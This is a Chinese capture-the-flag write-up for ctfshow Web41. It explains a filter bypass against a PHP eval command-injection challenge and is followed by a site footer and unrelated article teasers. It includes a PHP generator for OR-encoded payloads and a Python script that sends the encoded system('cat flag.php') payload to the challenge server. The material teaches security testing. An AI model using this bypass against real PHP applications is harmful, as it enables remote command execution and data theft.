ctfshow(41)--RCE/命令执行漏洞--或绕过

Web41

源代码:

if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}

代码审计:

过滤了数字和字母,但没有过滤或运算|

思路:

使用或运算绕过。

EXP:

脚本1:

<?php
$P = '/[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-/i';
$res1 = '';
$res2 = '';
$target = 'cat flag.php';
$len = strlen($target);
for ($i = 0; $i < $len; $i++) {$loop = true;for ($n1 = 0; $n1 < 256; $n1++) {if (!$loop) break;$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);if (preg_match($P, hex2bin($n1Hex))) continue;for ($n2 = 0; $n2 < 256; $n2++) {$n2Hex = $n2 < 16 ? '0' . dechex($n2) : dechex($n2);if (preg_match($P, hex2bin($n2Hex))) continue;$n1UrlEncode = '%' . $n1Hex;$n2UrlEncode = '%' . $n2Hex;$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);if ($orRes === $target[$i]) {$res1 .= $n1UrlEncode;$res2 .= $n2UrlEncode;$loop = false;break;}}}
}
echo '\'' . $res1 . '\'' . '|' . '\'' . $res2 . '\'';

脚本分析:

先分析被创建的变量:
$P 是一个正则形式的字符串,储存的是题目过滤的字符。
$res1$res2先设置为空字符串,分别用来储存或运算的前件与后件。
$target 是我们要执行的RCE命令。
$len 获取target变量的长度。

分析循环结构:

最外层循环:

for ($i = 0; $i < $len; $i++)

变量$i的值代表的是$target中字符的索引,从第一个字符,即索引为0的字符开始,依次运算到最后一个字符,即 索引=$len-1 的字符为止。
在该层循环中还创建了变量$loop,用于控制内层循环是否进行。

内层循环:

for ($n1 = 0; $n1 < 256; $n1++)

变量$n1从0开始,到255为止,对应的是ASCII码中的256个编码的序号。
先判断if (!$loop) break;,即loop的值为false时,跳出该层循环。

$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);

变量$n1Hex是变量n1的十六进制形式,如果n1<16,就在十六进制形式前拼接0.
这是因为16以下的十进制数字的十六进制形式都是一位数,而ASCII码中的符号的十六进制编码都是两位,不足两位的要在前面补零。

if (preg_match($P, hex2bin($n1Hex))) continue;

hex2bin是将十六进制数转换为ASCII字符(PHP版本高于5.4.0).
如果该符号是被过滤的符号,则continue,跳过该次循环,进行下一次循环。
如果不是,则进入下一层循环。

最内层循环:

for ($n2 = 0; $n2 < 256; $n2++)

n2与n1的含义相同。
经过与上一层循环相同的步骤后:

 $n1UrlEncode = '%' . $n1Hex;$n2UrlEncode = '%' . $n2Hex;
$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);

创建n1与n2的url编码形式的变量,然后对这两个变量进行或运算,结果赋值给$orRes
如果$orRes的值与target中相应的字符串相同,就将两个url编码变量储存在res1和res2中,再跳出到最外层循环,继续运算下一个字符。

脚本2:

from requests import post
from urllib.parse import unquotefunc = '(\'%13%19%13%14%05%0d\'|\'%60%60%60%60%60%60\')'
param = '(\'%03%01%14%00%06%0c%01%07%00%10%08%10\'|\'%60%60%60%20%60%60%60%60%2e%60%60%60\')'
resp = post(url='http://250882cd-1ff1-428b-a800-06fcb94d83cf.challenge.ctf.show/',data={'c': unquote(func + param)}
)
print(resp.text)

unquote用于将字符串url解码。
func的值是system命令的编码
param 的值是 cat flag.php 的编码

最后输出页面信息,得到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/456285.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【逆向基础】十七、PE文件格式(二)

一、简介 本篇章主要PE文件组成部分中使用的结构体&#xff1b;根据结构体的成员变量去了解各个字节的含义。&#xff08;ps:我们依旧以”cmd.exe“为例展开解析&#xff1b;) 二、DOS Header 1、结构体&#xff1a;IMAGE_DOS_HEADER IMAGE_DOS_HEADER结构体的背景是为了兼…

忘记7-zip文件7-zip文件,还可以解压zip文件吗?

文件压缩与解压已成为我们日常处理数据和存储信息的常规操作。7-Zip&#xff0c;作为一款开源且功能强大的文件压缩工具&#xff0c;凭借其高压缩率、支持多种格式以及免费使用的特点&#xff0c;赢得了广大用户的青睐。然而&#xff0c;出于保护文件内容安全的考虑&#xff0c…

基于NVIDIA NIM平台—生成属于自己的DIY食谱

目录 一、介绍NVIDIA NIM平台 二、生成DIY食谱Demo 三、小结 一、介绍NVIDIA NIM平台 NVIDIA NIM&#xff08;Nvidia Inference Microservices&#xff09;平台是NVIDIA推出的一个微服务套件&#xff0c;旨在加速生成式AI模型在云端、数据中心和工作站上的部署和使用。以下是…

怎么区分主谓宾I love you与主系表I am fine? 去掉宾语看句子完整性 主系表结构则侧重于描述主语的状态、特征或性质

主谓宾与主系表是英语句子结构中的两种基本类型&#xff0c;它们在关注点、动词分类以及句子完整性方面有所区别。具体分析如下&#xff1a; 关注点 主谓宾I love you&#xff1a;主谓宾结构主要关注动作和影响对象之间的关系[1]。这种结构强调的是动态和行为&#xff0c;通常描…

4K双模显示器7款评测报告

4K双模显示器7款评测报告 HKC G27H7Pro 4K双模显示器 ROG华硕 XG27UCG 4K双模显示器 雷神 ZU27F160L 4K双模显示器 泰坦军团 P275MV PLUS 4K双模显示器 外星人&#xff08;Alienware&#xff09;AW2725QF 4K双模显示器 SANC盛色 D73uPro 4K双模显示器 ANTGAMER蚂蚁电竞 …

MySql中表的约束

​ 本篇中将会介绍关于 MySql 数据库中的表的约束&#xff0c;关于表的约束其实约束的是表中的数据类型&#xff0c;因为有的数据类型很单一&#xff0c;需要我们添加一些额外的约束&#xff0c;才能更好的保证数据的合法性&#xff0c;从业务逻辑角度保证数据的正确性&#xf…

Notepad++通过自定义语言实现日志按照不同级别高亮

借助Notepad的自定义语言可以实现日志的按照不同级别的高亮&#xff1b; 参考&#xff1a; https://blog.csdn.net/commshare/article/details/131208656 在此基础上做了一点修改效果如下&#xff1a; xml文件&#xff1a; <NotepadPlus><UserLang name"Ansibl…

leetCode算法题爬楼梯递归写法

题目&#xff1a; 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 示例 1&#xff1a; 输入&#xff1a;n 2输出&#xff1a;2解释&#xff1a;有两种方法可以爬到楼顶。1. 1 阶 1 阶2. 2 阶 …

GPIO输入和输出

参考视频&#xff1a;2.1 [GPIO]4种输出模式_哔哩哔哩_bilibili 输出&#xff1a;通过写0或者写1&#xff0c;控制引脚输出低电压或高电压。 输入&#xff1a;通过读取引脚是0还是1&#xff0c;判断引脚输入的是高电压还是低电压。 输出 推挽开漏通用通用输出推挽通用输出开漏…

Asp.net Core MVC 动态路由

动态路由 asp.net core 3.0 就支持了 // 映射关系public class TranslationDatabase{private static Dictionary<string, Dictionary<string, string>> Translations new Dictionary<string, Dictionary<string, string>>{{"en", new Dictio…

yolo自动化项目实例解析(八)自建UI-键鼠录制回放

项目中关于键鼠的操作&#xff0c;不像我们之前自动化那样一步一步去定义的&#xff0c;而是用C写了一个记录键鼠的操作&#xff0c;通过回放的方法来实现的 一、通讯系统 1、创建websocket服务器 首先通过事件循环asyncio 和websockets&#xff0c;创建一个持久化的服务端进程…

通过页面添加国际化数据,实现vue的国际化

element ui 写在前面1. 原有的vue的国际化处理1.1 语言文件1.2 lang的index.js1.3 入口文件导入1.3 应用 2. 通过页面添加国际化数据2.1 做法2.2 lang的index.js文件修改2.3 需要注意的点 总结写在最后 写在前面 需求&#xff1a;在系统的国际化管理页面添加国际化数据&#x…

我想电脑批量管理 30 台苹果手机,怎么操作更简单方便呢?

在如今的数字化时代&#xff0c;手机已经成为了我们日常生活中不可或缺的一部分。无论是工作还是娱乐&#xff0c;我们都需要使用各种各样的应用软件来满足自己的需求。 而对于那些需要管理大量苹果手机设备的企业来说&#xff0c;如何高效地完成这些任务就成了一个重要问题。…

三款计算服务器配置→如何选择科学计算服务器?

科学计算在众多领域都扮演着关键角色&#xff0c;无论是基础科学研究还是实际工程应用&#xff0c;强大的计算能力都是不可或缺的。而选择一台合适的科学计算服务器&#xff0c;对于确保科研和工作的顺利进行至关重要。 首先&#xff0c;明确自身需求是重中之重。要仔细考虑计算…

六个方向比较分析:ChatGPT-o1-preview与 ChatGPT-4o在论文写作辅助上的差异

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 在学术研究和论文撰写的领域&#xff0c;人工智能助手正变得越来越重要。随着技术的不断进步&#xff0c;ChatGPT-o1-preview和ChatGPT-4o作为两个先进的语言模型&#xff0c;在辅助论文…

文件上传漏洞及安全

文件上传 文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题&#xff0c;对于如何确保这类安全问题&#xff0c;一般会从原生态功能中的文件内容&#xff0c;文件后缀&#xff0c;文件类型等方面判断&#xff0c;但是漏洞可能不仅在本身的代码…

C++学习路线(二十二)

构造函数 构造函数作用 在创建一个新的对象时&#xff0c;自动调用的函数&#xff0c;用来进行“初始化”工作:对这个对象内部的数据成员进行初始化。 构造函数特点 1.自动调用(在创建新对象时&#xff0c;自动调用) 2.构造函数的函数名&#xff0c;和类名相同 3.构造函数…

Pytorch学习--如何下载及使用Pytorch中自带数据集,如何把数据集和transforms联合在一起使用

一、标准数据集使用 pytorch官网–标准数据集 这里以CIFAR10数据集为例&#xff1a;CIFAR10 下载数据集 代码&#xff1a; import torchvision train_datatorchvision.datasets.CIFAR10(root"datasets",trainTrue,downloadTrue) test_datatorchvision.datasets.…

盘古信息制造数字化优才计划 | 解决人才困境 赋能智能制造

在中国制造2025的大背景下&#xff0c;制造业正以前所未有的速度向数字化、智能化转型。在这场深刻的变革中&#xff0c;人才作为核心驱动力&#xff0c;其重要性日益凸显。作为全球领先的制造运营管理工业软件供应商&#xff0c;盘古信息深知构建制造人才生态的重要性&#xf…

EasyExcel_动态表头的导入导出

文章目录 前言一、EasyExcel二、使用步骤1.引入jar包2.数据准备2.1 数据库 3.方法实例3.1 无实体的导入3.1.1 Controller3.1.2 Service3.1.3 Listener3.1.4 Utils3.1.5 无实体导入数据返回说明 3.2 无实体的导出3.2.1 无实体导出数据(这里只贴出关键代码,Service代码处理)3.2.2…